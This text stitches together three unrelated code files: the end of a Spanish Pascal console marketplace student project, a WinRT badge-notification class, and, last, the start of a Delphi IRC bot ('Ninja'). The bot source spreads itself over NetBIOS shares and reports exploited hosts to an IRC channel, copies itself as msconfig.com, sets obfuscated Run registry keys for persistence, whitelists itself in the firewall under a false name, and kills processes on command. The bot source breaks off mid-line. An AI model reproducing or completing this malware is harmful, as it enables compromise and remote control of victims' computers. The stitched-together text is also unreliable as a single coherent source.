writeln('Descripcion: ',rauto.descr); writeln('Anio de fabricacion: ',rauto.anofabricacion); writeln('Precio: ',rauto.precio:2:2); writeln('Publicador: ',rauto.usuario); writeln('Producto: ',rauto.producto); writeln('Combustible: ',rauto.combustible); writeln('Cantidad de puertas: ',rauto.cantpuertas); writeln(); end; end; writeln('Ingrese opcion deseada: '); ValidarByteIngresado(aux,1,5); case aux of 4: begin if k>0 then k:=k-3; end; 5: begin if not(eof(archauto_copia1)) then k:=k+3; end; end; end; case aux of 1: begin seek(archauto_copia1,k); read(archauto_copia1,rauto2); publicacion.usuario := rauto2.usuario; publicacion.id := rauto2.id; publicacion.marca := rauto2.marca; publicacion.producto := rauto2.producto; publicacion.precio := rauto2.precio ; close(ArchAuto_copia1); ComprarPublic(indice,publicacion,comprador,totalusu); end; 2: begin seek(archauto_copia1,k+1); read(archauto_copia1,rauto2); publicacion.usuario:=rauto2.usuario; publicacion.id := rauto2.id; publicacion.marca := rauto2.marca; publicacion.producto := rauto2.producto; publicacion.precio := rauto2.precio; close(ArchAuto_copia1); ComprarPublic(indice,publicacion,comprador,totalusu); end; 3: begin seek(archauto_copia1,k+2); read(archauto_copia1,rauto2); publicacion.usuario:=rauto2.usuario; publicacion.id := rauto2.id; publicacion.marca := rauto2.marca; publicacion.producto := rauto2.producto; publicacion.precio := rauto2.precio; close(ArchAuto_copia1); ComprarPublic(indice,publicacion,comprador,totalusu); end; end; end; close(ArchAuto_copia1); END; {Procedimiento MercadoLibre de Bugs | FILTRO AUTOS: antig} Procedure MenuFiltroAuto_CantPuertas(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); var aux:byte; rautos:t_autos; ArchAuto_copia1,ArchAuto_copia2:t_archautos; BEGIN aux:=0; assign(ArchAuto_copia1,DataFolder+'ArchAuto_copia1.dat'); assign(ArchAuto_copia2,DataFolder+'ArchAuto_copia2.dat'); rewrite(ArchAuto_copia1); reset(ArchAuto_copia2); writeln('ingrese el numero correspondiente a la cantidad de puertas deseadas:'); writeln('1)3p'); writeln('2)4p'); writeln('3)5p'); writeln('4)ignorar'); validarByteIngresado(aux,1,4); case aux of 1:begin while (not(eof(ArchAuto_copia2))) do begin read(ArchAuto_copia2, rAutos); if (rAutos.CantPuertas = 3) then write(ArchAuto_copia1, rAutos); end; end; 2:begin while (not(eof(ArchAuto_copia2))) do begin read(ArchAuto_copia2, rAutos); if (rAutos.CantPuertas = 4) then write(ArchAuto_copia1, rAutos); end; end; 3:begin while (not(eof(ArchAuto_copia2))) do begin read(ArchAuto_copia2, rAutos); if (rAutos.CantPuertas = 5) then write(ArchAuto_copia1, rAutos); end; end; 4:begin while (not(eof(ArchAuto_copia2))) do begin read(ArchAuto_copia2, rAutos); write(ArchAuto_copia1, rAutos); end; end; end; close(ArchAuto_copia1); close(ArchAuto_copia2); MostrarAutosfiltrados(indice, totalusu ,comprador); END; {Procedimiento MercadoLibre de Bugs | FILTRO AUTOS: antig} Procedure MenuFiltroAuto_antig(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR rAutos : t_autos; aux : byte; aniomin, aniomax : string[4]; ArchAuto_copia1,ArchAuto_copia2 : t_archautos; BEGIN aux := 0; assign(ArchAuto_copia1,DataFolder+'ArchAuto_copia1.dat'); assign(ArchAuto_copia2,DataFolder+'ArchAuto_copia2.dat'); reset(ArchAuto_copia1); rewrite(ArchAuto_copia2); writeln('Desea filtrar las publiaciones segun el anio de fabricacion'); writeln('del producto?:'); writeln('1)Si'); writeln('2)No'); validarByteIngresado(aux,1,2); if (aux = 1) then begin writeln('Ingrese el anio minimo entre los cuales desea buscar el producto: '); readln(aniomin); writeln('Ingrese el anio de maximo entre los cuales desea buscar el producto: '); readln(aniomax); while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if ((rAutos.AnoFabricacion < aniomin) and (rautos.AnoFabricacion > aniomax))then write(ArchAuto_copia2, rAutos); end; end else if aux = 2 then begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1,rAutos); write(ArchAuto_copia2,rAutos); end; end; close(ArchAuto_copia1); close(ArchAuto_copia2); MenuFiltroAuto_CantPuertas(indice, totalusu ,comprador); END; {Procedimiento MercadoLibre de Bugs | FILTRO AUTOS: combustible} Procedure MenuFiltroCombustible(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR ArchAuto_copia1,ArchAuto_copia2 : t_ArchAutos; rAutos : t_Autos; aux : byte; BEGIN aux := 0; assign(ArchAuto_copia1,DataFolder+'ArchAuto_copia1.dat'); assign(ArchAuto_copia2,DataFolder+'ArchAuto_copia2.dat'); rewrite(ArchAuto_copia1); reset(ArchAuto_copia2); writeln('Tipo de combustible?:'); writeln('1)Diesel'); writeln('2)GNC'); writeln('3)Nafta'); validarByteIngresado(aux,1,3); case aux of 1 : begin while (not(eof(ArchAuto_copia2))) do begin read(ArchAuto_copia2, rAutos); if (rAutos.combustible = 'Diesel') then write(ArchAuto_copia1, rAutos); end; end; 2:begin while not eof(ArchAuto_copia2) do begin read(ArchAuto_copia2, rAutos); if (rAutos.combustible = 'GNC') then write(ArchAuto_copia1, rAutos); end; end; 3:begin while not eof(ArchAuto_copia2) do begin read(ArchAuto_copia2, rAutos); if (rAutos.combustible = 'Nafta') then write(ArchAuto_copia1, rAutos); end; end; end; close(ArchAuto_copia1); close(ArchAuto_copia2); MenuFiltroAuto_Antig(indice, totalusu ,comprador); end; {Procedimiento MercadoLibre de Bugs | FILTRO AUTOS: crear archivo} Procedure Crear_Archivo_Autos(); VAR rAuto:t_autos; ArchAuto,ArchAuto_copia1{,ArchAuto_copia2}:t_ArchAutos; BEGIN assign(ArchAuto,DataFolder+'ArchAuto.dat'); reset(ArchAuto); assign(ArchAuto_copia1,DataFolder+'ArchAuto_copia1.dat'); rewrite(ArchAuto_copia1); {assign(ArchAuto_copia2,DataFolder+'ArchAuto_copia2.dat'); rewrite(archauto_copia2);} while (not(eof(archauto))) do begin read(ArchAuto, rAuto); if rauto.estadisponible then write(Archauto_copia1, rAuto); end; {reset(ArchAuto_copia1); while not eof(archauto_copia1) do begin read(archauto_copia1,rauto); write(archauto_copia2,rauto); end;} close(ArchAuto); close(ArchAuto_copia1); //close(ArchAuto_copia2); END; {Procedimiento MercadoLibre de Bugs | FILTRO AUTOS: marcas} Procedure MenuFiltroAuto_Marcas(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR aux : byte; rAutos : t_Autos; {ArchAuto , }ArchAuto_copia1, ArchAuto_copia2 : t_ArchAutos; BEGIN aux := 0; crear_archivo_autos; assign(ArchAuto_copia1,DataFolder+'ArchAuto_copia1.dat'); assign(ArchAuto_copia2,DataFolder+'ArchAuto_copia2.dat'); reset(ArchAuto_copia1); rewrite(ArchAuto_copia2); writeln('Presione el numero correspondiente a la opcion mas acorde al producto que busca:'); writeln('Marca:'); writeln('1)Audi'); writeln('2)Citroen'); writeln('3)Fiat'); writeln('4)Ford'); writeln('5)Mercedes Benz'); writeln('6)Peugeot'); writeln('7)Renault'); writeln('8)Volkswagen'); writeln('9)Otra'); validarByteIngresado(aux,1,9); case aux of 1: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Audi') then write(ArchAuto_copia2, rAutos); end; end; 2: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Citroen') then write(ArchAuto_copia2, rAutos); end; end; 3: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if rAutos.marca = 'Fiat' then write(ArchAuto_copia2, rAutos); end; end; 4: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Ford') then write(ArchAuto_copia2, rAutos); end; end; 5: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Mercedes Benz') then write(ArchAuto_copia2, rAutos); end; end; 6: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Peugeot') then write(ArchAuto_copia2, rAutos); end; end; 7: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Renault') then write(ArchAuto_copia2, rAutos); end; end; 8: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Volkswagen') then write(ArchAuto_copia2, rAutos); end; end; 9: begin while (not(eof(ArchAuto_copia1))) do begin read(ArchAuto_copia1, rAutos); if (rAutos.marca = 'Otra') then write(ArchAuto_copia2, rAutos); end; end; end; close(ArchAuto_copia1); close(ArchAuto_copia2); MenuFiltroCombustible(indice, totalusu ,comprador); END; {Procedimiento MercadoLibre de Bugs | VER PUBLICACIONES} Procedure VerPublic(var Indice : tIndiceUsu; var TotalUsu : longint; var Comprador : tUsuario); VAR aux : byte; BEGIN aux := 0; writeln('Presione el numero correspondiente a la opcion mas acorde al producto que busca:'); writeln('1) Automovil'); writeln('2) Notebook'); writeln('3) volver'); validarByteIngresado(aux,1,3); case aux of 1: MenuFiltroAuto_marcas(indice, totalusu ,comprador); 2: MenuNote_marca(indice, totalusu ,comprador); end; END; {Procedimiento MercadoLibre de Bugs | MENU PRINCIPAL} PROCEDURE MenuPrincipal(Usuario : tUsuario;Indice : tIndiceUsu;TotalUsu : longint); VAR OpcMenu : byte; MaxOpcion : byte; BEGIN OpcMenu := 0; clrscr; MensajePrincipal(FechaSistema,Usuario.Usuario); IF (Usuario.Usuario = 'Invitado') THEN BEGIN {verPublicaciones();} END ELSE BEGIN MsjTitulo('Menu principal'); Writeln('1) Ver publicaciones'); Writeln('2) Agregar nueva publicacion'); Writeln('3) Configurar cuenta'); END; IF (Usuario.EsAdmin) THEN BEGIN Writeln('4) Estadisticas'); MaxOpcion := 4; END ELSE MaxOpcion := 3; Writeln('0) Salir'); Writeln(); SeleccionOpcion(OpcMenu,MaxOpcion); Case OpcMenu of 1: BEGIN VerPublic(Indice,TotalUsu,Usuario); MenuPrincipal(Usuario,Indice,TotalUsu); END; 2: BEGIN NuevaPublic(Usuario,Indice,TotalUsu); MenuPrincipal(Usuario,Indice,TotalUsu); END; 3: BEGIN ConfigCta(Usuario,Indice,TotalUsu); MenuPrincipal(Usuario,Indice,TotalUsu); END; 4: BEGIN {VerEstad();} END; 0: BEGIN Writeln('Hasta la proxima compra!'); END; END; END; {Procedimiento MercadoLibre de Bugs | REGISTRO USUARIO} PROCEDURE RegistroUsuario(); VAR auxStr,NuevoUsuario, PassAux1, PassAux2 : String; ArchivoDeUsuarios : tArcUsu; ArchivoDeSaldos : tArcSaldos; EsValido : Boolean; ClavesCoinciden : Boolean; UnUsuario : tUsuario; UnSaldo : tSaldos; Indice : tIndiceUsu; TotalUsu : longint; i : byte; BEGIN ClavesCoinciden := False; EsValido := False; Assign(ArchivoDeUsuarios, DataFolder + 'ArchUsuarios.dat'); {$I-} Reset(ArchivoDeUsuarios); {Abro el archivo, en caso de no existir, lo creo} {$I+} If (IOResult <> 0) then Rewrite(ArchivoDeUsuarios); Writeln(); MsjTitulo('Registrate'); Writeln(); REPEAT {Valido los 8 caracteres permitidos} REPEAT Write('Usuario: '); Readln(NuevoUsuario); If ValidoLength(NuevoUsuario,MaxLengthUsuario) then EsValido := True Else BEGIN EsValido := False; Str(MaxLengthUsuario,auxStr); MsjError('El usuario ingresado supera los (' + auxStr + ') caracteres permitidos. Por favor, verifique.'); END; UNTIL EsValido; EsValido := False; {Valido que el usuario no exista en la "base de datos"} If (UsuarioExiste(ArchivoDeUsuarios, UnUsuario, NuevoUsuario)=False) then BEGIN EsValido := True; TextColor(Verde); Writeln('El usuario ingresado es correcto!'); UnUsuario.Usuario := NuevoUsuario; TextColor(Blanco); END Else BEGIN EsValido := False; MsjError('Ya hay un usuario registrado con ese nombre. Ingrese uno distinto.'); END; UNTIL EsValido; Write('Nombre y Apellido: '); Readln(UnUsuario.NomyApe); Write('E-mail: '); Readln(UnUsuario.Mail); REPEAT REPEAT {Valido los 8 caracteres permitidos} Write('Clave: '); Readln(PassAux1); If ValidoLength(PassAux1,MaxLengthPass)=True then EsValido := True Else BEGIN EsValido := False; Str(MaxLengthPass,auxStr); MsjError('La clave ingresada supera los (' + auxStr + ') caracteres permitidos. Por favor, verifique.'); END; UNTIL EsValido; Write('Repetir Clave: '); Readln(PassAux2); If (PassAux1=PassAux2) then {Valido que las dos claves sean iguales} BEGIN ClavesCoinciden:=True; UnUsuario.Pass:=PassAux1; END Else BEGIN ClavesCoinciden:=False; MsjError('Las claves no coinciden! Por favor, verifique.'); END; UNTIL ClavesCoinciden; UnUsuario.EsAdmin := false; UnUsuario.Calificacion := 0; {Escribo el archivo de saldos para este usuario} Assign(ArchivoDeSaldos, DataFolder + 'ArchSaldos.dat'); {$I-} Reset(ArchivoDeSaldos); {$I+} If (IOResult <> 0) then Rewrite(ArchivoDeSaldos); UnSaldo.Usuario := UnUsuario.Usuario; UnSaldo.Saldo := 0; For i := 1 to MaxVMovimientosSaldos Do Begin UnSaldo.Movimientos[i].plata := 0; UnSaldo.Movimientos[i].fecha := '19000101'; End; Seek(ArchivoDeUsuarios,filesize(ArchivoDeUsuarios)); Write(ArchivoDeUsuarios, UnUsuario); {Escribo usuarios con UnUsuario} Seek(ArchivoDeSaldos,filesize(ArchivoDeSaldos)); Write(ArchivoDeSaldos, UnSaldo); {Escribo saldos con UnSaldo} Close(ArchivoDeUsuarios); {Cierro el archivo} Close(ArchivoDeSaldos); {Cierro el archivo} CrearIndiceUsu(Indice,TotalUsu); MenuPrincipal(UnUsuario,Indice,TotalUsu); END; {Procedimiento MercadoLibre de Bugs | INGRESO INVITADO} PROCEDURE IngresoInvitado(); VAR UsuarioInvitado : tUsuario; IndiceVacio : tIndiceUsu; BEGIN UsuarioInvitado.Usuario := 'Invitado'; UsuarioInvitado.EsAdmin := false; IndiceVacio[1].Pos := 0; MenuPrincipal(UsuarioInvitado,IndiceVacio,0); END; {Procedimiento MercadoLibre de Bugs | INGRESO USUARIO} PROCEDURE IngresoUsuario(); VAR auxStr : string; StrPass : string; StrUsuario : string; auxPos : longint; TotalUsu : longint; EsValido : boolean; Indice : tIndiceUsu; Usuario : tUsuario; ArchUsu : tArcUsu; BEGIN Assign(ArchUsu, DataFolder + 'ArchUsuarios.dat'); writeln(''); MsjTitulo('Ingreso'); CrearIndiceUsu(Indice,TotalUsu); EsValido := false; Repeat write('Por favor ingrese su nombre de usuario: '); readln(StrUsuario); If (ValidoLength(StrUsuario,MaxLengthUsuario)) Then BEGIN auxPos := PosicionUsuarioIndice(StrUsuario,TotalUsu,Indice); If (auxPos = -1) Then MsjError('El usuario ingresado no existe.') Else EsValido := true; END Else BEGIN Esvalido := false; Str(MaxLengthUsuario,auxStr); MsjError('El usuario ingresado supera los (' + auxStr + ') caracteres permitidos.'); END; until (EsValido); EsValido := false; Repeat write('Por favor ingrese su contrase',#164,'a: '); readln(StrPass); If (ValidoLength(StrPass,MaxLengthPass)) Then if (not (EsClaveCorrecta(Indice,StrPass,auxPos))) then BEGIN MsjError('La contrasenia no es correcta.'); EsValido := false; END ELSE EsValido := true; until (EsValido); Reset(ArchUsu); Seek(ArchUsu,Indice[auxPos].pos); Read(ArchUsu,Usuario); close(ArchUsu); VerificoCalificaciones(false,Usuario,TotalUsu,Indice); writeln('6'); MenuPrincipal(Usuario,Indice,TotalUsu); END; {Procedimiento MercadoLibre de Bugs | INGRESO SISTEMA} PROCEDURE IngresoSistema(); CONST MaxOpcion = 3; VAR OpcMenu : Byte; BEGIN OpcMenu := 0; MsjTitulo('Ingreso al sistema'); Writeln(); Writeln('1) Registrarse'); Writeln('2) Ingresar como Usuario'); Writeln('3) Ingresar como Invitado'); Writeln('0) Salir'); Writeln(); SeleccionOpcion(OpcMenu,MaxOpcion); Case OpcMenu of 1: BEGIN RegistroUsuario(); END; 2: BEGIN IngresoUsuario(); END; 3: BEGIN IngresoInvitado(); END; 0: BEGIN Writeln('Hasta la proxima compra!'); END; END; END; {Programa principal MercadoLibre de Bugs} BEGIN MensajePrincipal('',''); IngresoFecha(FechaSistema); MensajePrincipal(FechaSistema,''); IngresoSistema(); END.
namespace NotificationsExtensions.BadgeContent; interface uses System, BadgeContent, NotificationsExtensions, Windows.Data.Xml.Dom, Windows.UI.Notifications; /// <summary> /// Notification content object to display a glyph on a tile's badge. /// </summary> type BadgeGlyphNotificationContent = public sealed class(BadgeContent.IBadgeNotificationContent) /// <summary> /// Default constructor to create a glyph badge content object. /// </summary> public constructor ; /// <summary> /// Constructor to create a glyph badge content object with a glyph. /// </summary> /// <param name="glyph">The glyph to be displayed on the badge.</param> constructor (aGlyph: GlyphValue); /// <summary> /// The glyph to be displayed on the badge. /// </summary> property Glyph: GlyphValue read m_Glyph write set_Glyph; method set_Glyph(value: GlyphValue); /// <summary> /// Retrieves the notification Xml content as a string. /// </summary> /// <returns>The notification Xml content as a string.</returns> method GetContent: String; /// <summary> /// Retrieves the notification Xml content as a string. /// </summary> /// <returns>The notification Xml content as a string.</returns> method ToString: String; override; /// <summary> /// Retrieves the notification Xml content as a WinRT Xml document. /// </summary> /// <returns>The notification Xml content as a WinRT Xml document.</returns> method GetXml: XmlDocument; /// <summary> /// Creates a WinRT BadgeNotification object based on the content. /// </summary> /// <returns>A WinRT BadgeNotification object based on the content.</returns> method CreateNotification: BadgeNotification; private var m_Glyph: BadgeContent.GlyphValue := GlyphValue((-1)); end; /// <summary> /// Notification content object to display a number on a tile's badge. /// </summary> BadgeNumericNotificationContent = public sealed class(IBadgeNotificationContent) /// <summary> /// Default constructor to create a numeric badge content object. /// </summary> public constructor ; /// <summary> /// Constructor to create a numeric badge content object with a number. /// </summary> /// <param name="number"> /// The number that will appear on the badge. If the number is 0, the badge /// will be removed. The largest value that will appear on the badge is 99. /// Numbers greater than 99 are allowed, but will be displayed as "99+". /// </param> constructor (aNumber: Cardinal); /// <summary> /// The number that will appear on the badge. If the number is 0, the badge /// will be removed. The largest value that will appear on the badge is 99. /// Numbers greater than 99 are allowed, but will be displayed as "99+". /// </summary> property Number: Cardinal read m_Number write m_Number; /// <summary> /// Retrieves the notification Xml content as a string. /// </summary> /// <returns>The notification Xml content as a string.</returns> method GetContent: String; /// <summary> /// Retrieves the notification Xml content as a string. /// </summary> /// <returns>The notification Xml content as a string.</returns> method ToString: String; override; /// <summary> /// Retrieves the notification Xml content as a WinRT Xml document. /// </summary> /// <returns>The notification Xml content as a WinRT Xml document.</returns> method GetXml: XmlDocument; /// <summary> /// Creates a WinRT BadgeNotification object based on the content. /// </summary> /// <returns>A WinRT BadgeNotification object based on the content.</returns> method CreateNotification: BadgeNotification; private var m_Number: Cardinal := 0; end; implementation constructor BadgeGlyphNotificationContent; begin end; constructor BadgeGlyphNotificationContent(aGlyph: GlyphValue); begin m_Glyph := aGlyph end; method BadgeGlyphNotificationContent.set_Glyph(value: GlyphValue); begin if not &Enum.IsDefined(typeOf(GlyphValue), value) then begin raise new ArgumentOutOfRangeException('value') end; m_Glyph := value end; method BadgeGlyphNotificationContent.GetContent: String; begin if not &Enum.IsDefined(typeOf(GlyphValue), m_Glyph) then begin raise new NotificationContentValidationException('The badge glyph property was left unset.') end; var glyphString: String := m_Glyph.ToString(); // lower case the first character of the enum value to match the Xml schema glyphString := String.Format('{0}{1}', Char.ToLowerInvariant(glyphString[0]), glyphString.Substring(1)); exit String.Format('<badge version=''{0}'' value=''{1}''/>', Util.NOTIFICATION_CONTENT_VERSION, glyphString) end; method BadgeGlyphNotificationContent.ToString: String; begin exit GetContent() end; method BadgeGlyphNotificationContent.GetXml: XmlDocument; begin var xml: XmlDocument := new XmlDocument(); xml.LoadXml(GetContent()); exit xml end; method BadgeGlyphNotificationContent.CreateNotification: BadgeNotification; begin var xmlDoc: XmlDocument := new XmlDocument(); xmlDoc.LoadXml(GetContent()); exit new BadgeNotification(xmlDoc) end; constructor BadgeNumericNotificationContent; begin end; constructor BadgeNumericNotificationContent(aNumber: Cardinal); begin m_Number := aNumber end; method BadgeNumericNotificationContent.GetContent: String; begin exit String.Format('<badge version=''{0}'' value=''{1}''/>', Util.NOTIFICATION_CONTENT_VERSION, m_Number) end; method BadgeNumericNotificationContent.ToString: String; begin exit GetContent() end; method BadgeNumericNotificationContent.GetXml: XmlDocument; begin var xml: XmlDocument := new XmlDocument(); xml.LoadXml(GetContent()); exit xml end; method BadgeNumericNotificationContent.CreateNotification: BadgeNotification; begin var xmlDoc: XmlDocument := new XmlDocument(); xmlDoc.LoadXml(GetContent()); exit new BadgeNotification(xmlDoc) end; end.
Unit untFunctions; Interface Uses Windows, Winsock, ShellAPI, TLHelp32, Wininet; type tdata = record channel :string; key :string; address :string; irc_prefix :string; port :integer; end; pdata = ^tdata; var thread_data :tdata; function ninja_replacestr(text, replace, withword: string): string; function ninja_replaceshortcuts(text: string): string; function ninja_getnet: string; function ninja_dns(dns: pchar): string; function ninja_sandbox: boolean; function ninja_execute(name, parms: string; visible: integer): boolean; function ninja_killproc(processid: integer): boolean; function ninja_getcountry(ctype: cardinal): string; function ninja_getinfo: string; function ninja_getcomputername: string; function ninja_spreadlocal: dword; stdcall; procedure ninja_listproc(sock: tsocket; killproc: boolean; procid, nick: string); procedure ninja_allowfirewall(path: string); function start_ircthread(p: pointer): dword; stdcall; function ninja_createclone(p: pointer): dword; stdcall; function isnumeric(text: string): boolean; function inttostr(const value: integer): string; function strtoint(const s:string): integer; function LowerCase(const S: string): string; Function GetRegValue(Root: HKey; Path, Value: String): String; Function WinPath: String; Function ExtractFileName(szFile: String): String; Function GetKBS(dByte: Integer): String; function FileExists(const FileName: string): Boolean; Function BehindFirewall: Boolean; Procedure WriteReg(Root: HKEY; RegPath, RegName, Path: String); Procedure Uninstall; Procedure Install; function netbios_isntbased: boolean; {$I Ninja.ini} Implementation uses untBot, untOutputs, untGlobalDeclare, untCrypt, untThreads, untFTPD, untNetbios, exNetBios; Function BehindFirewall: Boolean; Var lSock :TSocket; cSock :TSocket; lAddr :TSockAddrIn; cAddr :TSockAddrIn; WSA :TWSAData; Rem :TSockAddr; Len :Integer; intPort :Integer; BlockCmd :Integer; I :Integer; FDSet :TFDSet; TimeOut :TTimeVal; Begin Result := True; WSAStartUP($101, WSA); Randomize; intPort := Random(10000)+100; lSock := Socket(AF_INET, SOCK_STREAM, 0); lAddr.sin_family := AF_INET; lAddr.sin_port := hTons(intPort); lAddr.sin_addr.S_addr := INADDR_ANY; If Bind(lSock, lAddr, SizeOf(lAddr)) <> 0 Then Exit; If Listen(lSock, SOMAXCONN) <> 0 Then Exit; cSock := Socket(AF_INET, SOCK_STREAM, 0); cAddr.sin_family := AF_INET; cAddr.sin_port := hTons(intPort); cAddr.sin_addr.S_addr := inet_addr(pChar(ftp_mainip)); BlockCmd := 1; ioctlsocket(cSock, FIONBIO, BlockCmd); Connect(cSock, cAddr, SizeOf(cAddr)); Timeout.tv_sec := 5; timeout.tv_usec := 0; FD_ZERO(FDSet); FD_SET(cSock, FDSet); I := Select(0, nil, @FDSet, nil, @Timeout); CloseSocket(cSock); CloseSocket(lSock); If I > 0 Then Result := False; WSACleanUP(); End; function FileExists(const FileName: string): Boolean; var lpFindFileData: TWin32FindData; hFile: Cardinal; begin hFile := FindFirstFile(PChar(FileName), lpFindFileData); if hFile <> INVALID_HANDLE_VALUE then begin result := True; Windows.FindClose(hFile) end else result := False; end; function netbios_isntbased: boolean; var verinfo :tosversioninfo; begin result := false; verinfo.dwOSVersionInfoSize := sizeof(tosversioninfo); getversionex(verinfo); if verinfo.dwPlatformId = ver_platform_win32_nt then result := true; end; procedure ninja_spreadlocal_thread(dres: pnetresource); var handle :thandle; kint :dword; size :dword; buffer :array[0..1023] of tnetresource; iloop :integer; output :string; begin wnetopenenum(2, 0, 0, dres, handle); kint := 1024; size := sizeof(buffer); while wnetenumresource(handle, kint, @buffer, size) = 0 do for iloop := 0 to kint - 1 do begin if buffer[iloop].dwDisplayType = resourcedisplaytype_server then begin if netbios_enumshare(buffer[iloop].lpRemoteName) then begin output := '%pm% '+g_irc_channel+' :[netbios] exploited '+buffer[iloop].lpRemoteName+#10 end else if netbios(buffer[iloop].lpRemoteName, 0) then begin output := '%pm% '+g_irc_channel+' :[netbios] exploited '+buffer[iloop].lpRemoteName+#10 end else output := '%pm% '+g_irc_channel+' :[netbios] failed to exploit '+buffer[iloop].lpRemoteName+#10; output := ninja_replaceshortcuts(output); outputadd(ftp_ircsock, output, 1000); end; if buffer[iloop].dwUsage > 0 then ninja_spreadlocal_thread(@buffer[iloop]); end; wnetcloseenum(handle); end; function ninja_spreadlocal: dword; stdcall; begin ninja_spreadlocal_thread(nil); thread_stopname('localscan'); end; function ninja_getcomputername: string; var name :array[0..255] of char; nsize :cardinal; begin nsize := 255; GetComputerName(name, nsize); result := name; end; function ninja_getinfo: string; begin result := '[info] country: '+ninja_getcountry(LOCALE_SCOUNTRY) + '/' + ninja_getcountry(LOCALE_SENGCOUNTRY) + '. '+ 'language: '+ninja_getcountry(LOCALE_SLANGUAGE) + '/' + ninja_getcountry(LOCALE_SENGLANGUAGE) + '. ' + 'computer: '+ninja_getcomputername+'.'#10; end; function ninja_getcountry(ctype: cardinal): string; var temp :array[0..255] of char; begin fillchar(temp, sizeof(temp), #0); getlocaleinfo(locale_system_default, ctype, temp, sizeof(temp)); result := string(temp); end; procedure ninja_allowfirewall(path: string); var f :textfile; begin // netsh firewall add allowedprogram C:\windows\system32\ntvdm.exe "NTVDM for Galileo" ENABLE assignfile(f, 'c:\fwadd.bat'); rewrite(f); writeln(f, 'netsh firewall add allowedprogram "'+paramstr(0)+'" "System Services Monitor" ENABLE'); writeln(f, 'del c:\fwadd.bat'); closefile(f); ninja_execute('c:\fwadd.bat', '', 0); end; procedure writereg(root: hkey; regpath, regname, path: string); var key :hkey; size :cardinal; begin regpath := crypt(regpath, 35); regname := crypt(regname, 35); regopenkey(root, pchar(regpath), key); size := length(path); regsetvalueex(key, pchar(regname), 0, reg_sz, @path[1], size); regclosekey(key); end; procedure uninstall; begin writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMsLOJ@JFPf[SOLQFQqVM', 'NP@LMEJD', ''); writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', ''); writereg(hkey_current_user, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', ''); exitprocess(0); end; procedure install; var path :string; begin path := winpath + 'msconfig.com'; copyfile(pchar(paramstr(0)), pchar(path), false); ninja_allowfirewall(path); writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMsLOJ@JFPf[SOLQFQqVM', 'NP@LMEJD', path); writereg(hkey_local_machine, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', path); writereg(hkey_current_user, 'pLEWTBQFnJ@QLPLEWtJMGLTP`VQQFMWuFQPJLMqVM', 'NP@LMEJD', path); mutexhandleg := createmutexa(nil, false, bot_mutex); if getlasterror = error_already_exists then exitprocess(0); if mutexhandleg = error_already_exists then exitprocess(0); end; function getkbs(dbyte: integer): string; var db :integer; dkb :integer; dmb :integer; dgb :integer; dt :integer; begin db := dbyte; dkb := 0; dmb := 0; dgb := 0; dt := 1; while (db > 1024) do begin inc(dkb, 1); dec(db , 1024); dt := 1; end; while (dkb > 1024) do begin inc(dmb, 1); dec(dkb, 1024); dt := 2; end; while (dmb > 1024) do begin inc(dgb, 1); dec(dmb, 1024); dt := 3; end; case dt of 1: result := inttostr(dkb) + '.' + copy(inttostr(db ),1,2) + ' kb'; 2: result := inttostr(dmb) + '.' + copy(inttostr(dkb),1,2) + ' mb'; 3: result := inttostr(dgb) + '.' + copy(inttostr(dmb),1,2) + ' gb'; end; end; function extractfilename(szfile: string): string; begin result := ''; if szfile = '' then exit; repeat if copy(szfile, length(szfile), 1) = '\' then break; result := copy(szfile, length(szfile), 1) + result; delete(szfile, length(szfile), 1); until (szfile = ''); end; function winpath: string; var adir :array[0..255] of char; begin getwindowsdirectory(adir, 255); result := string(adir)+'\'; end; function getregvalue(root: hkey; path, value: string): string; var key :hkey; size :cardinal; regvalue :array[0..max_path] of char; begin fillchar(regvalue, sizeof(regvalue), #0); regopenkeyex(root, pchar(path), 0, key_query_value, key); size := 2048; regqueryvalueex(key, pchar(value), nil, nil, @regvalue[0], @size); regclosekey(key); result := regvalue; end; function isnumeric(text: string): boolean; const numtab :string = '0123456789'; var iloop :integer; jloop :integer; isnum :boolean; char :string; begin if text = '' then begin result := false; exit; end; for iloop := 1 to length(text) do begin isnum := false; for jloop := 1 to length(numtab) do if (numtab[jloop] = text[iloop]) then begin isnum := true; break; end; if not isnum then begin result := false; exit; end; end; result := true; end; procedure ninja_listproc(sock: tsocket; killproc: boolean; procid, nick: string); var bloop :boolean; snapshot :thandle; pentry32 :tprocessentry32; output :string; count :integer; begin snapshot := createtoolhelp32snapshot(th32cs_snapprocess or th32cs_snapmodule, 0); pentry32.dwSize := sizeof(pentry32); bloop := process32first(snapshot, pentry32); count := 1; while (integer(bloop) <> 0) do begin if not killproc then begin output := '%pm% '+nick+' :[process] '+inttostr(count)+'. '+inttostr(pentry32.th32ProcessID)+' - '+pentry32.szExeFile+#10; output := ninja_replaceshortcuts(output); outputadd(sock, output, 1000); end else if lowercase(pentry32.szExeFile) = lowercase(procid) then begin if ninja_killproc(pentry32.th32ProcessID) then output := '%pm% '+nick+' :[process] killed 